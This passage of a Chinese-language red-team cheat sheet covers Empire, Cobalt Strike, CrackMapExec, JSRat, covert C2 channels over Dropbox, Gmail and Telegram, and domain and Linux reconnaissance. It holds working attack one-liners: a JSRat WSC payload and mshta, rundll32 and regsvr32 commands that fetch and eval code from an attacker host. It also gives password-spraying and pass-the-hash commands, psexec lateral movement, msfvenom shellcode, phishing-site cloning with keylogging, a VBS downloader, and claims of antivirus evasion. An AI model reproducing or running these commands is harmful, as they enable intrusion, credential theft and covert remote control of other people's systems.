privesc/powerup/service_exe_stager 备份服务的二进制文件,并用启动stager.bat的二进制文件替换原始文件
privesc/powerup/service_exe_useradd 修改目标服务以创建本地用户并将其添加到本地管理员
privesc/powerup/service_stager 修改目标服务以执行Empire stager
privesc/powerup/service_useradd 修改目标服务以创建本地用户并将其添加到本地管理员
privesc/powerup/write_dllhijacker 将可劫持的.dll以及.dll调用的stager.bat一起写到指定路径。 wlbsctrl.dll在Windows 7上运行良好。需要重新启动计算机

Recon(侦察)

模块名 功能
recon/find_fruit 在网络范围内搜索潜在的易受攻击的Web服务
recon/get_sql_server_login_default_pw 发现在当前广播域之内的SQL Server实例
recon/http_login 针对基本身份验证测试凭据

Situational_awareness(态势感知)

模块名
situational_awareness/host/antivirusproduct 获取防病毒产品信息
situational_awareness/host/computerdetails* 枚举有关系统的有用信息
situational_awareness/host/dnsserver 枚举系统使用的DNS服务器
situational_awareness/host/findtrusteddocuments 该模块将枚举适当的注册表
situational_awareness/host/get_pathacl 枚举给定文件路径的ACL
situational_awareness/host/get_proxy 枚举当前用户的代理服务器和WPAD内容
situational_awareness/host/get_uaclevel 枚举UAC级别
situational_awareness/host/monitortcpconnections 监视主机与指定域名或IPv4地址的TCP连接,对于会话劫持和查找与敏感服务进行交互的用户很有用
situational_awareness/host/paranoia* 持续检查运行过程中是否存在可疑用户
situational_awareness/host/winenum 收集有关主机和当前用户上下文的相关信息
situational_awareness/network/arpscan 针对给定范围的IPv4 IP地址执行ARP扫描
situational_awareness/network/bloodhound 执行BloodHound数据收集
situational_awareness/network/get_exploitable_system 查询Active Directory以查找可能容易受到Metasploit Exploit的系统
situational_awareness/network/get_spn 获取服务主体名称(SPN)
situational_awareness/network/get_sql_instance_domain 返回SQL Server实例列表
situational_awareness/network/get_sql_server_info 从目标SQL Server返回基本服务器和用户信息
situational_awareness/network/portscan 使用常规套接字进行简单的端口扫描
situational_awareness/network/reverse_dns 执行给定IPv4 IP范围的DNS反向查找
situational_awareness/network/smbautobrute 针对用户名/密码列表运行SMB暴力破解
situational_awareness/network/smbscanner 在多台机器上测试用户名/密码组合
situational_awareness/network/powerview/find_foreign_group 枚举给定域的组的所有成员,并查找不在查询域中的用户
situational_awareness/network/powerview/find_foreign_user 枚举在其主域之外的组中的用户
situational_awareness/network/powerview/find_gpo_computer_admin 获取计算机(或GPO)对象,并确定哪些用户/组对该对象具有管理访问权限
situational_awareness/network/powerview/find_gpo_location 获取用户名或组名,并确定其具有通过GPO进行管理访问的计算机
situational_awareness/network/powerview/find_localadmin_access 在当前用户具有“本地管理员”访问权限的本地域上查找计算机
situational_awareness/network/powerview/find_managed_security_group 此功能检索域中的所有安全组
situational_awareness/network/powerview/get_cached_rdpconnection 使用远程注册表功能来查询计算机上“ Windows远程桌面连接客户端”的所有信息
situational_awareness/network/powerview/get_computer 查询当前计算机对象的域
situational_awareness/network/powerview/get_dfs_share 返回给定域的所有容错分布式文件系统的列表
situational_awareness/network/powerview/get_domain_controller 返回当前域或指定域的域控制器
situational_awareness/network/powerview/get_domain_policy 返回给定域或域控制器的默认域或DC策略
situational_awareness/network/powerview/get_domain_trust 返回当前域或指定域的所有域信任
situational_awareness/network/powerview/get_fileserver 返回从用户主目录提取的所有文件服务器的列表
situational_awareness/network/powerview/get_forest 返回有关给定域森林的信息
situational_awareness/network/powerview/get_forest_domain 返回给定林的所有域
situational_awareness/network/powerview/get_gpo 获取域中所有当前GPO的列表
situational_awareness/network/powerview/get_group 获取域中所有当前组的列表
situational_awareness/network/powerview/get_group_member 返回给定组的成员
situational_awareness/network/powerview/get_localgroup 返回本地或远程计算机上指定本地组中所有当前用户的列表
situational_awareness/network/powerview/get_loggedon 执行NetWkstaUserEnum Win32API调用以查询主动登录主机的用户
situational_awareness/network/powerview/get_object_acl 返回与特定活动目录对象关联的ACL
situational_awareness/network/powerview/get_ou 获取域中所有当前OU的列表
situational_awareness/network/powerview/get_rdp_session 在给定的RDP远程服务中查询活动会话和原始IP
situational_awareness/network/powerview/get_session 执行NetSessionEnum Win32API调用以查询主机上的活动会话
situational_awareness/network/powerview/get_site 获取域中所有当前站点的列表
situational_awareness/network/powerview/get_subnet 获取域中所有当前子网的列表
situational_awareness/network/powerview/get_user 查询给定用户或指定域中用户的信息
situational_awareness/network/powerview/map_domain_trust 使用.CSV输出映射所有可访问的域信任
situational_awareness/network/powerview/process_hunter 查询远程机器的进程列表
situational_awareness/network/powerview/set_ad_object 使用SID,名称或SamAccountName来查询指定的域对象
situational_awareness/network/powerview/share_finder 在域中的计算机上查找共享
situational_awareness/network/powerview/user_hunter 查找指定组的用户登录的机器

Trollsploit(恶作剧)

模块名 功能
trollsploit/get_schwifty 播放Schwifty视频,同时把计算机音量设置最大
trollsploit/message 发送一个消息框
trollsploit/process_killer 终止以特定名称开头的任何进程
trollsploit/rick_ascii 生成一个新的powershell.exe进程运行Lee Holmes’ ASCII Rick Roll
trollsploit/rick_astley 运行SadProcessor’s beeping rickroll
trollsploit/thunderstruck 播放Thunderstruck视频,同时把计算机音量设置最大
trollsploit/voicetroll 通过目标上的合成语音朗读文本
trollsploit/wallpaper 将.jpg图片上传到目标机器并将其设置为桌面壁纸
trollsploit/wlmdr 在任务栏中显示气球提示

Empire Word

>usestager windows/launcher_bat生成bat木马,设置Listener
Word/Excel->插入->对象->由文件创建,选择bat,显示为图标,修改图标
Macro
>usestager windows/macro 设置Listener
Word/Excel->试图->宏->创建,复制macro进去

Empire派生Cobalt Strike和MSF

派生MSF
可绕过杀软
Empire
>usemodule code_execution/invoke_shellcode
>set Lhost 192.168.0.1
>set Lport 4444
>set Payload reverse_http
MSF
>use exploit/multi/handler
>set payloadwindows/meterpreter/reverse_http
>set Lhost 192.168.31.247
>set lport 4444
>run
或Empire
>usemodule code_execution/invoke_metasploitpayload
>set URL http://SRVHOST:SRVPORT
MSF
#use exploit/multi/script/web_delivery
#set payload windows/x64/meterpreter/reverse_tcp
设置SRVHOST SRVPORT
派生Cobalt Strike
创建监听器/windows/beacon_http/reverse_http 设置端口和主机
Empire
>usemodule code_execution/invoke_shellcode
>set Lhost 192.168.0.1
>set Lport 4444
>set Payload reverse_http

Cobalt Strike

安装

需要JDK环境
>tar -xzvf jdk-8u191-linux-x64.tar.gz

部署TeamServer

>./teamserver 192.168.0.107 123456
格式是外网IP和密码

模块

New Connection:新建连接
Preferences:设置外观
Visualization:查看主机的不同形式
VPN Interfaces: VPN接口
Listeners:监听器
Script Interfaces:查看和加载CNA脚本
Close:关闭CS

连接

image

监听器

创建
Cobalt Strike -> Listeners点击Add

image

Beacon为CS内部监听器。
Foreign一般与MSF结合使用。
系统架构的支持

image

攻击模块

image
|名称 |功能 |
| ———— | ———— |
|HTML Application |基于powershell的.hta格式的HTML Application木马,分为可执行文件、PowerShell、VBA三种方法 |
|MS Office Macro |office宏病毒文件 |
|Payload Generator |基于C、C#、COM Scriptlet、Java、Perl、PowerShell、Python、Ruby、VBA等语言的payload |
|USB/CD AutoPlay |利用USB/CD自动播放运行的木马 |
|Windows Dropper |捆绑器 |
|Windows Executable |生成32位或64位的exe和基于服务的可执行文件、DLL等后门 |
|Windows Executable(S) |生成可执行文件,支持powershell脚本,提供代理功能 |

Web Drive-by基于WEB的攻击模块
名称 功能
Manage 管理开启的模块
Clone Site 克隆网站
Host File 提供文件下载
Scripted Web Delivery 基于Web的攻击Payload
Signed Applet Attack 运行java自签名的攻击模块
Smart Applet Attack 自动检测Java版本并利用已知的exploits攻击
System Profiler 信息探测模块

视图模块

Applications 显示靶机应用信息
Credentials 显示密码(hashdump和mimikatz获取的)
Downloads 下载文件
Event Log 事件日志
Keystrokes 键盘记录
Proxy Pivots 代理信息
Screenshots 屏幕截图
Script Console 加载脚本
Targets 查看目标
Web Log 查看web日志
创建powershell脚本

image
image

复制脚本到目标机执行即可上线.

image

交互

右键目标机Interact进入交互模式
Access    
Dump hashes    获取密码
Elevate    提权
Golden Ticket    黄金票据注入会话
Make token    制作令牌
Run Mimikatz    运行mimikatz
Spawn As    以靶机其他用户权限生成会话
Explore    
Browser Pivot    劫持浏览器
Desktop(VNC)    远程VNC
File Browser    文件管理
Net View    执行命令net view
Port scan    端口扫描
Process list    进程列表
Screenshot    截图
Pivoting        
SOCKS Server    代理
Listener    已获权限的机器当作监听器(反向端口转发)
Deploy VPN    部署VPN
Spawn    
派生会话:联动MSF或Armitage    
右键执行mimikatz即可获取hash及明文密码

image

视图->凭证信息列出密码,类似empire的creds命令

image

Beacon

argue                     进程参数欺骗
blockdlls                  阻止子进程加载非Microsoft DLL
browserpivot              注入受害者浏览器进程
bypassuac                绕过UAC提升权限
cancel                    取消正在进行的下载
cd                        切换目录
checkin                   强制让被控端回连一次
clear                     清除beacon内部的任务队列
connect                   Connect to a Beacon peer over TCP
covertvpn                 部署Covert VPN客户端
cp                        复制文件
dcsync                    从DC中提取密码哈希
desktop                   远程桌面(VNC)
dllinject                   反射DLL注入进程
dllload                    使用LoadLibrary将DLL加载到进程中
download                 下载文件
downloads                列出正在进行的文件下载
drives                     列出目标盘符
elevate                    使用exp
execute                   在目标上执行程序(无输出)
execute-assembly         在目标上内存中执行本地.NET程序
exit                       终止beacon会话
getprivs                   Enable system privileges on current token
getsystem                 尝试获取SYSTEM权限
getuid                     获取用户ID
hashdump                  转储密码哈希值
help                       帮助
inject                      在注入进程生成会话
jobkill                     结束一个后台任务
jobs                       列出后台任务
kerberos_ccache_use       从ccache文件中导入票据应用于此会话
kerberos_ticket_purge     清除当前会话的票据
kerberos_ticket_use       Apply 从ticket文件中导入票据应用于此会话
keylogger                 键盘记录
kill                      结束进程
link                      Connect to a Beacon peer over a named pipe
logonpasswords            使用mimikatz转储凭据和哈希值
ls                        列出文件
make_token                创建令牌以传递凭据
mimikatz                  运行mimikatz
mkdir                     创建一个目录
mode dns                  使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt              使用DNS TXT作为通信通道(仅限D beacon)
mode dns6                 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http                 使用HTTP作为通信通道
mv                        移动文件
net                       net命令
note                      备注       
portscan                  进行端口扫描
powerpick                 通过Unmanaged PowerShell执行命令
powershell                通过powershell.exe执行命令
powershell-import         导入powershell脚本
ppid                      Set parent PID for spawned post-ex jobs
ps                        显示进程列表
psexec                    Use a service to spawn a session on a host
psexec_psh                Use PowerShell to spawn a session on a host
psinject                  在特定进程中执行PowerShell命令
pth                       使用Mimikatz进行传递哈希
pwd                       当前目录位置
reg                       Query the registry
rev2self                  恢复原始令牌
rm                        删除文件或文件夹
rportfwd                  端口转发
run                       在目标上执行程序(返回输出)
runas                     以其他用户权限执行程序
runasadmin                在高权限下执行程序
runu                      Execute a program under another PID
screenshot                屏幕截图
setenv                    设置环境变量
shell                     执行cmd命令
shinject                  将shellcode注入进程
shspawn                   启动一个进程并将shellcode注入其中
sleep                     设置睡眠延迟时间
socks                     启动SOCKS4代理
socks stop                停止SOCKS4
spawn                     Spawn a session 
spawnas                   Spawn a session as another user
spawnto                   Set executable to spawn processes into
spawnu                    Spawn a session under another PID
ssh                       使用ssh连接远程主机
ssh-key                   使用密钥连接远程主机
steal_token               从进程中窃取令牌
timestomp                 将一个文件的时间戳应用到另一个文件
unlink                    Disconnect from parent Beacon
upload                    上传文件
wdigest                   使用mimikatz转储明文凭据
winrm                     使用WinRM横向渗透
wmi                       使用WMI横向渗透
执行命令,在beacon模式下键入shell+命令

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>sleep 0 交互模式,立刻执行命令
注入DLL到某个进程
>dllload [pid] [c:\path\to\file.dll] DLL需在目标上
>kerberos_ticket_purge 清除票据
>kerberos_ccache_use    [/path/to/file.ccache]  从ccache文件导入票据
>kerberos_ticket_use [/path/to/file.ccache] 从ticket文件导入票据
>kill pid 结束进程
>timestomp [fileA]    [fileB] 修改文件时间戳
>getuid     获取当前用户
>steal_token [pid] 窃取进程ID
>rev2self 恢复原始令牌
>powershell-import    [/path/to/local/script.ps1] 导入PS模块 
>shinject [pid] <x86|x64> [/path/to/my.bin] 向进程注入shellcode
>socks    port在指定端口开启代理
>socks stop停止代理
>rportfwd [bind port]    [forward host]    [forward port]开启端口转发

克隆网站

Attacks -> Web Drive-by -> System Profiler
Redirect url设置为目标站,登录成功会挑战到真实网站
钓鱼攻击->克隆网站
克隆地址写入要克隆的网站
Attack选择刚刚收集信息的网站
Web日志界面可记录键盘

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攻击->钓鱼攻击管理->web服务管理中,可kill掉刚刚的任务

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office宏

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钓鱼邮件

新克隆一个网站

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Embed URL选择克隆好的网站

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里面的超链接已经被Embed URL克隆好的URL替换掉了

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若是要加载附件,需注意附件的免杀

加载脚本

https://github.com/rsmudge/ElevateKit 提权脚本
>git clone https://github.com/rsmudge/ElevateKit.git
>git clone https://github.com/TheKingOfDuck/myScripts.git
Cobalt Strike -> Scripts 选择elevate.cna加载
提权的EXP列表就会增加已经加入的模块

浏览器劫持

beacon 设为交互模式
beacon> sleep 0
[Beacon] → Explore → Browser Pivot
选择打对勾的注入,会返回一个proxy,服务器IP+端口
>chromium --no-sandbox --ignore-certificate-errors --proxy-server=服务器IP:端口
访问网址

权限维持

https://github.com/DeEpinGh0st/Erebus
加载 cna 脚本
Cobalt Strike → Script Manager → Load → Erebus 中的 Main.cna
生成 Payload
Attacks → Packages→ Windows Executable(S)
Erebus → Persistence选择维持方法

横向

扫描存活主机
>portscan ip/网段 ports端口 扫描协议(arp、icmp、none) 线程
>portscan 192.168.1.0/24 445 arp 100
或右键目标>扫描
点击工具栏的View–>Targets,查看端口探测后的存活主机。(Targets可自行添加)
Login->psexec进行hash传递登录

隔离网络

权限机中转
Pivoting ->Listener新建一条已有权限机器的监听器

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选择 Attacks->Packages->Windows Executable(Stageless) 

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上传生成的payload到已上线的目标机中,上传PsExec.exe
beacon>shell C:\psexec.exe -accepteula \\10.1.1.105 -u administrator -p xxx -d -c C:\beacon.exe

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SMB_beacon
新建监听器(bind)windows/beacon_smb/bind_pipe
执行
>psexec 机器名 ADMIN$/c$ bind
SSH login
>ssh 10.1.1.98:22 root admin

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代理

>socks 690
视图->代理信息-tunnel 直接复制,粘贴到MSF中

部署VPN

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选择内网网卡

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添加

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删除

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Cobalt strike派生 Empire和MSF

派生Empire
创建一个Listener
创建一个stager
>usestager windows/shellcode 执行,会生成/tmp/launcher.bin
CS 使用PS命令查找进程,进行进程注入(>shinject 进程id x64),选择launcher.bin即可
派生MSF
使用CS的外部监听器
windows/foreign/reverse_dns_txt
windows/foreign/reverse_http
windows/foreign/reverse_https
windows/foreign/reverse_tcp
msf开启监听
cobalt strike会话主机上点击spwan,创建外部监听器,选择windows/foreign/reverse_tcp指定MSF监听的IP和端口即可

JSRat

https://github.com/Hood3dRob1n/JSRat-Py
https://github.com/Ridter/MyJSRat
启动
>python JSRat.py -i 192.168.0.107 -p 1234
MyJSRat可以-c参数指定执行的命令

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/connect是回连地址,/wtf是执行代码

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直接在靶机执行

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或
>regsvr32.exe /u /n /s /i:http://192.168.0.107:1234/file.sct scrobj.dll
JSRat显示上线

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Wsc方式
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<?xml version="1.0"?>
<package>
<component id="testCalc">
<script language="JScript">
<![CDATA[
rat="rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();h=new%20ActiveXObject(\"WinHttp.WinHttpRequest.5.1\");w=new%20ActiveXObject(\"WScript.Shell\");try{v=w.RegRead(\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet%20Settings\\\\ProxyServer\");q=v.split(\"=\")[1].split(\";\")[0];h.SetProxy(2,q);}catch(e){}h.Open(\"GET\",\"http://192.168.0.107:1234/connect\",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject(\"WScript.Shell\").Run(\"cmd /c taskkill /f /im rundll32.exe\",0,true);}";
new ActiveXObject("WScript.Shell").Run(rat,0,true);
]]>
</script>
</component>
</package>

>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:http://192.168.0.107/jsrat.wsc")
Mshta方式
>mshta javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.0.107:1234/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im mshta.exe",0,true);}

CrackMapExec

信息收集

返回活动主机
>crackmapexec smb 192.168.0.0/24

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爆破

支持协议ssh,smb,winrm,mssql,http
爆破smb协议,两台机器,一个用户名多个密码
>crackmapexec smb 192.168.0.98 192.168.0.55 -u username1 -p password1 password2
>crackmapexec smb 192.168.0.0/24 -d zone.com -u y -p 'password' --shares

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密码喷射
>crackmapexec <protocol> <target(s)> -u username1 username2 -p password1
指定字典
>crackmapexec <protocol> <target(s)> -u /tmp/user.txt -p /tmp/pass.txt
Hash爆破
>crackmapexec <protocol> <target(s)> -u /tmp/user.txt -H /tmp/ntlm.txt

可用模块

日志的保存位置
~/.cme/logs
查看协议可用后续模块
>crackmapexec smb -L

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常用的模块
Get-ComputerDetails获取计算机信息
Bloodhound 执行一个BloodHound脚本获取信息
empire_exec 与empire交互
enum_avproducts 列举AV产品
enum_chrome 获取目标chrome中保存的密码
get_keystrokes 键盘记录
get_netdomaincontroller 列出所有域控制器
get_netrdpsession 列出活动的RDP会话
gpp_autologin 从域控中registry.xml查找自动登录的账户密码
gpp_password 组策略凭据中返回GPP密码
invoke_sessiongopher 保存putty,winscp,filezilla,superputty rdp的session
invoke_vnc 注入一个vnc客户端到内存
met_inject 与msf交互
mimikatz 调用mimikatz模块
mimikatz_enum_chrome 使用mimikatz解密chrome保存的密码
mimikatz_enum_vault_creds 解密windows凭据管理器中保存的密码
mimikittenz 执行咪咪猫(windows密码获取软件)
multirdp 允许多用户登录RDP
netripper 通过API hooking截取平常
pe_inject DLL/EXE注入
rdp 开启或关闭RDP
shellcode_inject 注入shellcode
tokens 列举可用token
uac 查看UAC是否开启
wdigest 开启或关闭wdigest
web_delivery 执行exploit/multi/script/web_delivery模块
查看模块的选项
>crackmapexec smb -M module --options

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使用方式
>crackmapexec smb <target(s)> -u user -p 'P@ssw0rd' -M module -o 参数=值

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PTH

>crackmapexec smb <target(s)> -u username -H LMHASH:NTHASH
>crackmapexec smb <target(s)> -u username -H NTHASH

执行命令

>crackmapexec smb 192.168.0.98 -u y -p 'qwe12323' -x 'command'

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-X执行powershell命令
>crackmapexec smb 192.168.0.98 -u y -p 'qwe12323' -X 'POWESHELL'

koadic

https://github.com/zerosum0x0/koadic
>git clone https://github.com/zerosum0x0/koadic.git
>cd koadic
>pip3 install -r requirements.txt
>./koadic

SILENTTRINITY

https://github.com/byt3bl33d3r/SILENTTRINITY
类似cobalt strike+empire的结合
>git clone https://github.com/byt3bl33d3r/SILENTTRINITY
>pip3 install --user pipenv && pipenv install && pipenv shell
>python st.py
服务端执行
>python3 st.py teamserver <teamserver_ip> <teamserver_password>
>python3 st.py teamserver 192.168.0.108 123456
也可加参数--port指定端口

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客户端执行
>python3 st.py client wss://<username>:<teamserver_password>@<teamserver_ip>:5000
>python3 st.py client wss://y:123456@192.168.0.108:5000

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>listeners命令进入监听器目录
>use http选择监听器
>options命令查看需要配置的参数

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>set Port 8081 使用set命令配置参数
>start 启动监听器
>list查看运行中的监听器

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>stop http使用stop+监听器名字停止监听器
>stagers进入payload目录
>list列出可用payload

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>use payloadname 命令use+payload名字
>generate http generate+监听器名字生成payload

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Browser C2

360全套+火绒没有拦截
缺点:会有黑框,并且打开chrome浏览器,功能限制
https://github.com/0x09AL/Browser-C2
>go get -u github.com/gorilla/mux
>go get -u github.com/chzyer/readline
>git clone https://github.com/0x09AL/Browser-C2.git
/Browser-C2/agent/agent.go修改C2地址

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修改chrome的位置

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编译客户端
>CGO_ENABLED=1 GOARCH= GOOS=windows go build

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 /Browser-C2/static/jquery.js修改控制服务器IP

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转到主目录编译服务器端
>go build
靶机执行生成好的客户端
攻击机监听

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此框架与靶机之间通信未加密,功能有限,可与msf、cs、poshc2、empire等框架建立联系。

DropBox C2

>git clone https://github.com/Arno0x/DBC2 dbc2
>cd dbc2
>pip install -r requirements.txt
>chmod +x dropboxC2.py
https://www.dropbox.com/developers/apps/create
创建好后要生成个accesstoken,填入config.py中

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执行

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这里需设置一个与受控机交互的加密密码
发布agent
>publishStage dbc2_agent.exe
使用命令listPublishedStage可以看到已发布的agent

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生成payload
>genStager [tab]查看可生成的格式

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>genStager oneliner default生成powershell格式payload

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>genStager batch default生成bat格式

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Msbuild,其余不做演示

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这里使用powershell格式的,在受控机运行

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攻击机可以看到上线

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>list命令可以看到已控机器

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使用use命令与受控机器交互

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输入?获得后续命令

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Gmail C2

Gcat

https://myaccount.google.com/lesssecureapps
启用设置

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Gmail启用imap

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将以下脚本转换为exe
# setup.py
from distutils.core import setup
import py2exe
 
setup(console=['implant.py'])
https://github.com/byt3bl33d3r/gcat
把gcat项目中的implant.py跟以上脚本放在同一目录,修改implant.py中的账户信息

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>python 1.py py2exe打包
dist目录下生成implant.exe受控机执行
同时也要修改项目中gcat.py中的账户信息

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在受控机执行implant.exe,如果报错修改email模块以下三行
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.mime.text import MIMEText

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执行后,邮箱会收到信息

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使用gcat.py也可以得到当前会话
>python gcat.py -list

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现在可对其进行控制
>python gcat.py -id [id] -cmd 'net user'

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生成jobid,指定jobid可查看回显

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邮箱中也存在

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当受控机为中文系统时,回显会报错,修改代码

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其他模块有回显的直接修改后重新py2exe打包即可。
支持的功能:cmd,upload/download,执行shellcode,键盘记录,截屏等

Gdog

https://github.com/maldevel/gdog
功能更多:
加密传输、地理位置、执行命令、上传下载、shellcode、截图、键盘记录、关闭重启、注销用户、从web下载、访问网站等
配置流程基本一样,需要打包exe,但是要安装一些模块PyCrypto、WMI、Enum34、Netifaces
# setup.py
from distutils.core import setup
import py2exe
 
setup(console=['client.py'])
client.py在回显处也要添加decode gbk
执行client.exe报超出索引错误时
在client.py中搜索字符串for iface in netifaces.interfaces():
在它下面一行修改为
if netifaces.ifaddresses(iface)[netifaces.AF_LINK][0]['addr'] == self.MAC and netifaces.AF_INET in netifaces.ifaddresses(iface):
打包好后执行

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提取jobid回显出错的话,添加
reload(sys)
sys.setdefaultencoding("utf-8")
执行shellcode
>msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform Windows EXITFUNC=thread LPORT=4444 LHOST=x.x.x.x -f python
去除引号加减号,只保留shellcode粘贴到文件shell.txt
>python gdog.py -id {id} -exec-shellcode /tmp/shell.txt

Telegram C2

登录telegram
访问https://telegram.me/botfather,发送消息

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创建一个bot

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创建完成后返回一个token
>pip install telepot
>pip install requests
>git clone https://github.com/blazeinfosec/bt2.git
编辑bt2.py
粘贴token和chatid进脚本
Chat_id的获取方式
https://api.telegram.org/bot<token>/getUpdates

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当有受控机上线时会列出功能

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Windows
https://github.com/sf197/Telegra_Csharp_C2

信息收集

Cmd

>whoami /user 查看当前用户SID
>net config Workstation 查看当前计算机信息
>net time /domain 判断主域
错误5:存在域,当前不是域用户
显示时间:存在域,当前是域内用户
找不到域:不存在
>net view /domain 列出域列表
>net group "Domain Controllers" /domain查看主域控
>nltest /DCLIST:zone.com 查看域控
>net group "domain admins" /domain 查看域管理员
>net group "enterprise admins" /domain 查看企业管理员列表
>net localgroup administrators /domain 查看管理组用户
>net group "domain computers" /domain 查看域成员计算机
>net accounts /domain 查看密码策略
>net user /domain查看域内用户
>net view /domain:dc 查询域内计算机
>netsh firewall set opmode disable/enable 关闭windows防火墙(win2003)
>netsh advfirewall set allprofiles state off/on(大于win2003)
>arp -a查看arp表
>net start 查看服务
>route print查看路由表
>query user查看登录机器的用户的连接状态
>tasklist /v 查看域管理员进程
>dsquery server查询域控制器
>dsquery computer 查询域内机器
>dsquery user 查询域用户
>dsquery ou 域内组织单位
导出域DNS记录,文件保存在C:\Windows\System32\dns\
>dnscmd /zoneexport zone.com 1.txt
导出LDAP数据库
>LDIFDE -f c:\windows\temp\dump.ldf -n -m

Wmi

>wmic OS get Caption,CSDVersion,OSArchitecture,Version系统版本
>wmic service list brief 列出本机服务
>wmic process list brief 列出进程
>wmic process where name="chrome.exe" get executablepath进程路径
>wmic process get caption,commandline /value>>1.txt查询所有进程参数
>wmic process where caption="svchost.exe" get caption,commandline /value 查询某个进程命令行参数
创建进程
>wmic process call create calc
>wmic process call create "C:\shell.exe"
>wmic process call create "shutdown.exe -r -f -t 20"
结束进程
>wmic process where name="shell.exe" call terminate
>wmic process where processid="2345" delete
>wmic process 2345 call terminate
>wmic startup list brief 列出自启动程序
>wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List 查看杀毒软件
>wmic netuse list brief 列出共享驱动盘
>wmic ntdomain list brief 查询域控制器
>wmic useraccount list brief 列出本机管理员及SID
>wmic qfe list brief 列出补丁列表
>wmic share get name,path 查看共享
>wmic startup list brief查看启动项
>wmic product get name,version 查看安装的软件
>wmic product where "name like '%360%'" get name 查看程序名
>wmic product where name="360tray" call uninstall 卸载程序
>wmic process where "name like '%360%'" get name 查找进程全名
>wmic product where name="360tray.exe" call terminate 停止程序
>wmic desktop get screensaversecure,screensavertimeout 查看屏保

PowerView

获取域信息
>powershell -exec bypass -Command "&{Import-Module .\powerview.ps1; Get-NetDomain}"

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>powershell -exec bypass -Command "&{Import-Module .\powerview.ps1; get-netforest}"

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枚举管理员
>powershell -exec bypass -Command "&{Import-Module .\powerview.ps1; Invoke-EnumerateLocalAdmin}"

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查询管理在线的机器
>powershell -exec bypass -Command "&{Import-Module .\powerview.ps1; invoke-userhunter}"

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查看域内机器以administrator权限运行的进程
>powershell -exec bypass -Command "&{Import-Module .\powerview.ps1; invoke-processhunter }"

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或指定参数userfile和computerfile查询某台机器某个用户的进程
>powershell -exec bypass -Command "&{Import-Module .\powerview.ps1; invoke-processhunter -Userfile .\user.txt -computerfile .\host.txt}"

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查询域内机器共享
>powershell -exec bypass -Command "&{Import-Module .\powerview.ps1; Invoke-sharefinder}"

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查询域内机器
>Get-NetComputer -Domain zone.com

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>Find-LocalAdminAccess -verbose 查询域内本地用户能登录的机器

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Dev-powerview
获取域控机器和win版本
>Get-DomainController |select name,osversion|fl 

Linux

操作系统&内核版本&环境变量
>cat /etc/issue
>cat /etc/*-release
>cat /etc/lsb-release
>cat /etc/redhat-release
cat /proc/version
>uname -a
>uname -mrs
>rpm -q kernel
>dmesg | grep Linux
>ls /boot | grep vmlinuz-
>cat /etc/profile
>cat /etc/bashrc
>cat ~/.bash_profile
>cat ~/.bashrc
>cat ~/.bash_logout
>env
>set
Root权限进程
>ps aux | grep root
>ps -ef | grep root
计划任务
>crontab -l
>ls -alh /var/spool/cron
>ls -al /etc/ | grep cron
>ls -al /etc/cron*
>cat /etc/cron*
>cat /etc/at.allow
>cat /etc/at.deny
>cat /etc/cron.allow
>cat /etc/cron.deny
>cat /etc/crontab
>cat /etc/anacrontab
>cat /var/spool/cron/crontabs/root
IP信息
>/sbin/ifconfig -a
>cat /etc/network/interfaces
>cat /etc/sysconfig/network
连接信息
>grep 80 /etc/services
>netstat -antup
>netstat -antpx
>netstat -tulpn
>chkconfig --list
>chkconfig --list | grep 3:on
>last
>w
用户信息
>id
>whomi
>w
>last
>cat /etc/passwd
>cat /etc/group
>cat /etc/shadow
>ls -alh /var/mail/
>grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # 列出超级用户
>awk -F: '($3 == "0") {print}' /etc/passwd   #列出超级用户
>cat /etc/sudoers
>sudo –l
操作记录
>cat ~/.bash_history
>cat ~/.nano_history
>cat ~/.atftp_history
>cat ~/.mysql_history
>cat ~/.php_history
可写目录
>find / -writable -type d 2>/dev/null      # 可写目录
>find / -perm -222 -type d 2>/dev/null     # 可写目录 
>find / -perm -o w -type d 2>/dev/null     # 可写目录
>find / -perm -o x -type d 2>/dev/null     # 可执行目录
>find / \( -perm -o w -perm -o x \) -type d 2>/dev/null   # 可写可执行目录

HTTP服务

>python2 -m SimpleHTTPServer 
>python3 -m http.server 8080
>php -S 0.0.0.0:8888
>openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
>openssl s_server -key key.pem -cert cert.pem -accept 443 –WWW
>ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8888,:DocumentRoot => Dir.pwd).start"
>ruby -run -e httpd . -p 8888

文件操作

Windows查找文件

>cd /d E: && dir /b /s index.php
>for /r E:\ %i in (index*.php) do @echo %i
>powershell Get-ChildItem d:\ -Include index.php -recurse

Linux查找文件

#find / -name index.php
查找木马文件
>find . -name '*.php' | xargs grep -n 'eval('
>find . -name '*.php' | xargs grep -n 'assert('
>find . -name '*.php' | xargs grep -n 'system('

创建

读文本文件:
>file = Get-Content "1.txt"
>file
>powershell Set-content "1.txt" "wocao"
&
>powershell "write-output ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String(\"d2Vic2hlbGw=\"))) | out-file -filepath c:\www\wwwroot\1.aspx;"

压缩

>rar.exe a –k –r –s –m3 C:\1.rar C:\wwwroot
>7z.exe a –r –p12345 C:\1.7z C:\wwwroot

解压

>rar.exe e c:\wwwroot\1.rar
>7z.exe x –p12345 C:\1.7z –oC:\wwwroot

传输

FTP

>open 192.168.0.98 21
>输入账号密码
>dir查看文件
>get file.txt

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VBS

#1.vbs
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Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://192.168.1.192/Client.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
